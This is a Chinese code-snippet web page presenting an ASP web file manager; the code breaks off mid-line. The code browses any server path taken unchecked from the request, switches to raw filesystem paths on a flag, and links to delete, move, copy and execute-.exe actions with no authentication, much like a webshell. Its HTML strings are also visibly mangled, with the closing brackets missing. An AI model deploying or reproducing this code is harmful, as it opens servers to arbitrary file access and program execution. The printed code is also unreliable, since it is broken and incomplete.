文件的读出 编辑 管理

13额企鹅却无法

13额企鹅却无法

2016-01-29 17:27

文件的读出 编辑 管理,文件的读出 编辑 管理
  <%
urlpath="http://"&Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'<font color='#FF8000'■</font↑<font color='ff2222'回上级目录</font</a<br"
Response.write"<table border='0' width='100%' cellpadding='0'"
For Each x In theSubFolders
Response.write"<tr<td width='50%'<a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'└<font color='#FF8000'■</font  "&x.Name&"</a </td"
Response.Write "<td<a href=# onclick=javascript:window.open('delete.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');<font color='#FF8000' ×</font删除</a</td"
Response.Write "<td<a href=# onclick=javascript:window.open('move.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');<font color='#FF8000' ×</font移改</a</td"
Response.Write "<td<a href=# onclick=javascript:window.open('copy.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');<font color='#FF8000' ×</font复制</a<br</td</tr"
Next
Response.Write "</table"
end if
End Sub

Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'"
For Each x In theFiles
if Request("attrib")="true" then
showstring="<strong"&x.Name&"</strong"
else
showstring="<a href=# onclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');<strong"&x.Name&"</strong</a"
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring&"</td<td width='10%'<A href=# onclick=javascript:window.open('fileop.asp?filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');<font color=red执行</font</a</td"
else
showstring=showstring&"</td<td width='10%'</td"
end if
Response.write"<tr<td width='20%'<font color='#FF8000'□</font"&showstring&"<td width='15%' align='right'"&x.size&"字节</td<td width='45%'<a hr
展开更多 50%)
分享

猜你喜欢

文件的读出 编辑 管理

ASP
文件的读出 编辑 管理

html读出文本文件内容

Web开发
html读出文本文件内容

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

怎么编辑pdf文件

电脑网络
怎么编辑pdf文件

如何编辑pdf文件

电脑网络
如何编辑pdf文件

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

文件管理(一)

Delphi
文件管理(一)

文件管理(二)

Delphi
文件管理(二)

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

巧用‘计划任务’实现自动维护

巧用‘计划任务’实现自动维护

Word教程:批量修改文档中的日期格式

Word教程:批量修改文档中的日期格式
下拉加载更多内容 ↓